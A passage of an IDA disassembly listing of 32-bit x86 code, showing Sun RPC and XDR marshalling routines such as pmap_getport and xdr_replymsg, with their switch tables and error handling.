		mov	eax, [edx+1Ch]
		call	eax
		add	esp, 4

loc_80649A9:				; CODE XREF: sub_8064978+23j
		push	ebx
		call	free
		push	esi
		call	free
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064978	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80649C0	proc near		; CODE XREF: sub_8064074+5Bp
					; sub_8064438+1EBp
		push	ebp
		mov	ebp, esp
		cmp	ds:dword_807E754, 0
		jnz	short loc_80649D6
		call	sub_8065C48
		mov	ds:dword_807E754, eax

loc_80649D6:				; CODE XREF: sub_80649C0+Aj
		mov	eax, ds:dword_807E754
		mov	esp, ebp
		pop	ebp
		retn
sub_80649C0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [000000E6 BYTES: COLLAPSED FUNCTION pmap_getport. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000053 BYTES: COLLAPSED FUNCTION xdr_pmap.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [0000003C BYTES: COLLAPSED FUNCTION xdr_opaque_auth. PRESS KEYPAD "+"	TO EXPAND]
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [ebp+0Ch]
		push	8
		push	eax
		push	edx
		call	sub_8065120
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000076 BYTES: COLLAPSED FUNCTION xdr_accepted_reply. PRESS	KEYPAD "+" TO EXPAND]
		align 4
		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+8]
		mov	ebx, [ebp+0Ch]
		push	ebx
		push	esi
		call	sub_806510C
		add	esp, 8
		test	eax, eax
		jz	short loc_8064C3C
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_8064C10
		cmp	eax, 1
		jz	short loc_8064C30
		jmp	short loc_8064C3C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064C10:				; CODE XREF: .text:08064C05j
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_8064C3C
		lea	eax, [ebx+8]
		push	eax
		push	esi
		call	sub_8064F10
		jmp	short loc_8064C3E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064C30:				; CODE XREF: .text:08064C0Aj
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_806510C
		jmp	short loc_8064C3E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064C3C:				; CODE XREF: .text:08064BFFj
					; .text:08064C0Cj ...
		xor	eax, eax

loc_8064C3E:				; CODE XREF: .text:08064C2Bj
					; .text:08064C3Aj
		lea	esp, [ebp-8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000053 BYTES: COLLAPSED FUNCTION xdr_replymsg. PRESS KEYPAD "+" TO	EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8064C9C	proc near		; CODE XREF: clnttcp_create+188p
					; clntudp_bufcreate+162p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	dword ptr [ebx+4], 0
		mov	dword ptr [ebx+8], 2
		cmp	dword ptr [esi], 0
		jnz	short loc_8064D08
		push	ebx
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_8064D08
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_806510C
		add	esp, 8
		test	eax, eax
		jz	short loc_8064D08
		lea	eax, [ebx+8]
		push	eax
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_8064D08
		lea	eax, [ebx+0Ch]
		push	eax
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_8064D08
		lea	eax, [ebx+10h]
		push	eax
		push	esi
		call	sub_8064F10
		jmp	short loc_8064D0A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064D08:				; CODE XREF: sub_8064C9C+1Cj
					; sub_8064C9C+2Aj ...
		xor	eax, eax

loc_8064D0A:				; CODE XREF: sub_8064C9C+69j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064C9C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8064D14	proc near		; CODE XREF: sub_8064DE0+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		cmp	edx, 5		; switch 6 cases 
		ja	short loc_8064D8C ; default
		jmp	ds:off_8064D2C[edx*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
off_8064D2C	dd offset loc_8064D80	; DATA XREF: sub_8064D14+Er
		dd offset loc_8064D44	; jump table for switch	statement
		dd offset loc_8064D50
		dd offset loc_8064D5C
		dd offset loc_8064D68
		dd offset loc_8064D74
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064D44:				; CODE XREF: sub_8064D14+Ej
					; DATA XREF: sub_8064D14+18o
		mov	dword ptr [eax], 8 ; case 0x1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064D50:				; CODE XREF: sub_8064D14+Ej
					; DATA XREF: sub_8064D14+18o
		mov	dword ptr [eax], 9 ; case 0x2
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064D5C:				; CODE XREF: sub_8064D14+Ej
					; DATA XREF: sub_8064D14+18o
		mov	dword ptr [eax], 0Ah ; case 0x3
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064D68:				; CODE XREF: sub_8064D14+Ej
					; DATA XREF: sub_8064D14+18o
		mov	dword ptr [eax], 0Bh ; case 0x4
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064D74:				; CODE XREF: sub_8064D14+Ej
					; DATA XREF: sub_8064D14+18o
		mov	dword ptr [eax], 0Ch ; case 0x5
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064D80:				; CODE XREF: sub_8064D14+Ej
					; DATA XREF: sub_8064D14+18o
		mov	dword ptr [eax], 0 ; case 0x0
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064D8C:				; CODE XREF: sub_8064D14+Cj
		mov	dword ptr [eax], 10h ; default
		mov	dword ptr [eax+4], 0
		mov	[eax+8], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_8064D14	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8064DA0	proc near		; CODE XREF: sub_8064DE0+3Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		cmp	edx, 1
		jz	short loc_8064DC0
		jb	short loc_8064DB5
		cmp	edx, 6
		jnz	short loc_8064DCC

loc_8064DB5:				; CODE XREF: sub_8064DA0+Ej
		mov	dword ptr [eax], 6
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064DC0:				; CODE XREF: sub_8064DA0+Cj
		mov	dword ptr [eax], 7
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064DCC:				; CODE XREF: sub_8064DA0+13j
		mov	dword ptr [eax], 10h
		mov	dword ptr [eax+4], 1
		mov	[eax+8], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_8064DA0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8064DE0	proc near		; CODE XREF: sub_8063D20+1A0p
					; sub_8064438+3A0p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_8064DFC
		cmp	eax, 1
		jz	short loc_8064E18
		jmp	short loc_8064E24
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064DFC:				; CODE XREF: sub_8064DE0+10j
		cmp	dword ptr [esi+18h], 0
		jnz	short loc_8064E0C
		mov	dword ptr [ebx], 0
		jmp	short loc_8064E68
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064E0C:				; CODE XREF: sub_8064DE0+20j
		push	ebx
		mov	eax, [esi+18h]
		push	eax
		call	sub_8064D14
		jmp	short loc_8064E30
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064E18:				; CODE XREF: sub_8064DE0+15j
		push	ebx
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_8064DA0
		jmp	short loc_8064E30
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064E24:				; CODE XREF: sub_8064DE0+17j
		mov	dword ptr [ebx], 10h
		mov	eax, [esi+8]
		mov	[ebx+4], eax

loc_8064E30:				; CODE XREF: sub_8064DE0+36j
					; sub_8064DE0+42j
		mov	eax, [ebx]
		cmp	eax, 7
		jz	short loc_8064E54
		ja	short loc_8064E40
		cmp	eax, 6
		jz	short loc_8064E48
		jmp	short loc_8064E68
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064E40:				; CODE XREF: sub_8064DE0+57j
		cmp	eax, 9
		jz	short loc_8064E5C
		jmp	short loc_8064E68
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064E48:				; CODE XREF: sub_8064DE0+5Cj
		mov	eax, [esi+10h]
		mov	[ebx+4], eax
		mov	eax, [esi+14h]
		jmp	short loc_8064E65
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064E54:				; CODE XREF: sub_8064DE0+55j
		mov	eax, [esi+10h]
		mov	[ebx+4], eax
		jmp	short loc_8064E68
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064E5C:				; CODE XREF: sub_8064DE0+63j
		mov	eax, [esi+1Ch]
		mov	[ebx+4], eax
		mov	eax, [esi+20h]

loc_8064E65:				; CODE XREF: sub_8064DE0+71j
		mov	[ebx+8], eax

loc_8064E68:				; CODE XREF: sub_8064DE0+28j
					; sub_8064DE0+5Ej ...
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064DE0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [0000001E BYTES: COLLAPSED FUNCTION xdr_free.	PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8064E94	proc near		; DATA XREF: sub_8063D20+15Ao
		push	ebp
		mov	ebp, esp
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_8064E94	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8064EA0	proc near		; CODE XREF: .text:08065038p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_8064EC8
		mov	esp, ebp
		pop	ebp
		retn
sub_8064EA0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8064EB4	proc near		; CODE XREF: .text:08065074p
					; sub_80651B8+18p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_8064F10
		mov	esp, ebp
		pop	ebp
		retn
sub_8064EB4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8064EC8	proc near		; CODE XREF: sub_8064EA0+Bp
					; sub_806510C+Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [edx], 0
		jnz	short loc_8064EE4
		mov	eax, [edx+4]
		push	ecx
		push	edx
		mov	eax, [eax+4]
		call	eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064EE4:				; CODE XREF: sub_8064EC8+Cj
		cmp	dword ptr [edx], 1
		jnz	short loc_8064EF8
		mov	eax, [edx+4]
		push	ecx
		push	edx
		mov	eax, [eax]
		call	eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064EF8:				; CODE XREF: sub_8064EC8+1Fj
		cmp	dword ptr [edx], 2
		jz	short loc_8064F04
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064F04:				; CODE XREF: sub_8064EC8+33j
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_8064EC8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8064F10	proc near		; CODE XREF: xdr_pmap+Dp xdr_pmap+1Ep	...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [edx], 1
		jnz	short loc_8064F2C
		mov	eax, [edx+4]
		push	ecx
		push	edx
		mov	eax, [eax]
		call	eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064F2C:				; CODE XREF: sub_8064F10+Cj
		cmp	dword ptr [edx], 0
		jnz	short loc_8064F40
		mov	eax, [edx+4]
		push	ecx
		push	edx
		mov	eax, [eax+4]
		call	eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064F40:				; CODE XREF: sub_8064F10+1Fj
		cmp	dword ptr [edx], 2
		jz	short loc_8064F4C
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064F4C:				; CODE XREF: sub_8064F10+33j
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_8064F10	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ecx, [ebp+8]
		mov	ebx, [ebp+0Ch]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_8064F90
		jb	short loc_8064F78
		cmp	eax, 2
		jz	short loc_8064FA7
		jmp	short loc_8064FB0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064F78:				; CODE XREF: .text:08064F6Cj
		movsx	ebx, word ptr [ebx]
		mov	[ebp-4], ebx
		mov	eax, [ecx+4]
		lea	edx, [ebp-4]
		push	edx
		push	ecx
		mov	eax, [eax+4]
		call	eax
		jmp	short loc_8064FB2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064F90:				; CODE XREF: .text:08064F6Aj
		mov	eax, [ecx+4]
		lea	edx, [ebp-4]
		push	edx
		push	ecx
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	short loc_8064FB0
		mov	ax, [ebp-4]
		mov	[ebx], ax

loc_8064FA7:				; CODE XREF: .text:08064F71j
		mov	eax, 1
		jmp	short loc_8064FB2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064FB0:				; CODE XREF: .text:08064F73j
					; .text:08064F9Ej
		xor	eax, eax

loc_8064FB2:				; CODE XREF: .text:08064F8Bj
					; .text:08064FACj
		mov	ebx, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8064FBC	proc near		; CODE XREF: .text:0806688Dp
					; DATA XREF: pmap_getport+7Eo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_8064FF4
		jb	short loc_8064FDC
		cmp	eax, 2
		jz	short loc_806500B
		jmp	short loc_8065014
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064FDC:				; CODE XREF: sub_8064FBC+14j
		movzx	ebx, word ptr [ebx]
		mov	[ebp+var_4], ebx
		mov	eax, [ecx+4]
		lea	edx, [ebp+var_4]
		push	edx
		push	ecx
		mov	eax, [eax+4]
		call	eax
		jmp	short loc_8065016
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064FF4:				; CODE XREF: sub_8064FBC+12j
		mov	eax, [ecx+4]
		lea	edx, [ebp+var_4]
		push	edx
		push	ecx
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	short loc_8065014
		mov	ax, word ptr [ebp+var_4]
		mov	[ebx], ax

loc_806500B:				; CODE XREF: sub_8064FBC+19j
		mov	eax, 1
		jmp	short loc_8065016
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065014:				; CODE XREF: sub_8064FBC+1Bj
					; sub_8064FBC+46j
		xor	eax, eax

loc_8065016:				; CODE XREF: sub_8064FBC+33j
					; sub_8064FBC+54j
		mov	ebx, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_8064FBC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	edx, [ebp+8]
		mov	ebx, [ebp+0Ch]
		movzx	ecx, byte ptr [ebx]
		mov	[ebp-4], ecx
		lea	eax, [ebp-4]
		push	eax
		push	edx
		call	sub_8064EA0
		test	eax, eax
		jz	short loc_8065050
		mov	al, [ebp-4]
		mov	[ebx], al
		mov	eax, 1
		jmp	short loc_8065052
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065050:				; CODE XREF: .text:0806503Fj
		xor	eax, eax

loc_8065052:				; CODE XREF: .text:0806504Bj
		mov	ebx, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	edx, [ebp+8]
		mov	ebx, [ebp+0Ch]
		movzx	ecx, byte ptr [ebx]
		mov	[ebp-4], ecx
		lea	eax, [ebp-4]
		push	eax
		push	edx
		call	sub_8064EB4
		test	eax, eax
		jz	short loc_806508C
		mov	al, [ebp-4]
		mov	[ebx], al
		mov	eax, 1
		jmp	short loc_806508E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806508C:				; CODE XREF: .text:0806507Bj
		xor	eax, eax

loc_806508E:				; CODE XREF: .text:08065087j
		mov	ebx, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065098	proc near		; CODE XREF: sub_80666A0+Dp
					; sub_8067248+25p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_80650D8
		jb	short loc_80650B8
		cmp	eax, 2
		jz	short loc_80650F6
		jmp	short loc_8065100
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80650B8:				; CODE XREF: sub_8065098+14j
		cmp	dword ptr [ebx], 0
		setnz	al
		and	eax, 0FFh
		mov	[ebp+var_4], eax
		mov	edx, [ecx+4]
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		mov	eax, [edx+4]
		call	eax
		jmp	short loc_8065102
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80650D8:				; CODE XREF: sub_8065098+12j
		mov	eax, [ecx+4]
		lea	edx, [ebp+var_4]
		push	edx
		push	ecx
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	short loc_8065100
		cmp	[ebp+var_4], 0
		setnz	al
		and	eax, 0FFh
		mov	[ebx], eax

loc_80650F6:				; CODE XREF: sub_8065098+19j
		mov	eax, 1
		jmp	short loc_8065102
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065100:				; CODE XREF: sub_8065098+1Bj
					; sub_8065098+4Ej
		xor	eax, eax

loc_8065102:				; CODE XREF: sub_8065098+3Bj
					; sub_8065098+63j
		mov	ebx, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_8065098	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_806510C	proc near		; CODE XREF: xdr_opaque_auth+Dp
					; xdr_accepted_reply+1Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_8064EC8
		mov	esp, ebp
		pop	ebp
		retn
sub_806510C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065120	proc near		; CODE XREF: .text:08064B65p
					; sub_80651B8+97p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		test	edx, edx
		jz	short loc_80651A8
		mov	ebx, edx
		and	ebx, 3
		jz	short loc_8065143
		mov	edi, 4
		sub	edi, ebx
		mov	ebx, edi

loc_8065143:				; CODE XREF: sub_8065120+18j
		cmp	dword ptr [esi], 1
		jnz	short loc_8065170
		mov	eax, [esi+4]
		push	edx
		push	ecx
		push	esi
		mov	eax, [eax+8]
		call	eax
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_80651A1
		test	ebx, ebx
		jz	short loc_80651A8
		mov	eax, [esi+4]
		push	ebx
		push	offset unk_807E758
		push	esi
		mov	eax, [eax+8]
		call	eax
		jmp	short loc_80651AD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065170:				; CODE XREF: sub_8065120+26j
		cmp	dword ptr [esi], 0
		jnz	short loc_806519C
		mov	eax, [esi+4]
		push	edx
		push	ecx
		push	esi
		mov	eax, [eax+0Ch]
		call	eax
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_80651A1
		test	ebx, ebx
		jz	short loc_80651A8
		mov	eax, [esi+4]
		push	ebx
		push	offset unk_807923C
		push	esi
		mov	eax, [eax+0Ch]
		call	eax
		jmp	short loc_80651AD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806519C:				; CODE XREF: sub_8065120+53j
		cmp	dword ptr [esi], 2
		jz	short loc_80651A8

loc_80651A1:				; CODE XREF: sub_8065120+38j
					; sub_8065120+65j
		xor	eax, eax
		jmp	short loc_80651AD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80651A8:				; CODE XREF: sub_8065120+11j
					; sub_8065120+3Cj ...
		mov	eax, 1

loc_80651AD:				; CODE XREF: sub_8065120+4Dj
					; sub_8065120+7Aj ...
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065120	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80651B8	proc near		; CODE XREF: xdr_opaque_auth+2Ep
					; .text:08065290p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx]
		call	libc_nls_init
		push	esi
		push	edi
		call	sub_8064EB4
		add	esp, 8
		test	eax, eax
		jz	loc_8065270
		mov	esi, [esi]
		cmp	[ebp+arg_C], esi
		jnb	short loc_80651F0
		cmp	dword ptr [edi], 2
		jnz	loc_8065270

loc_80651F0:				; CODE XREF: sub_80651B8+2Dj
		mov	eax, [edi]
		cmp	eax, 1
		jz	short loc_8065200
		jb	short loc_806524C
		cmp	eax, 2
		jz	short loc_8065258
		jmp	short loc_8065270
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065200:				; CODE XREF: sub_80651B8+3Dj
		test	esi, esi
		jnz	short loc_806520C

loc_8065204:				; CODE XREF: sub_80651B8+A2j
					; sub_80651B8+B3j
		mov	eax, 1
		jmp	short loc_8065272
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806520C:				; CODE XREF: sub_80651B8+4Aj
		test	ebx, ebx
		jnz	short loc_806524C
		push	esi
		call	malloc
		mov	ebx, eax
		mov	edx, [ebp+arg_4]
		mov	[edx], ebx
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_806524C
		push	offset aOutOfMemory_1 ;	"out of	memory"
		push	1
		push	0Ah
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		push	eax
		push	offset aXdr_bytesS ; "xdr_bytes: %s\n"
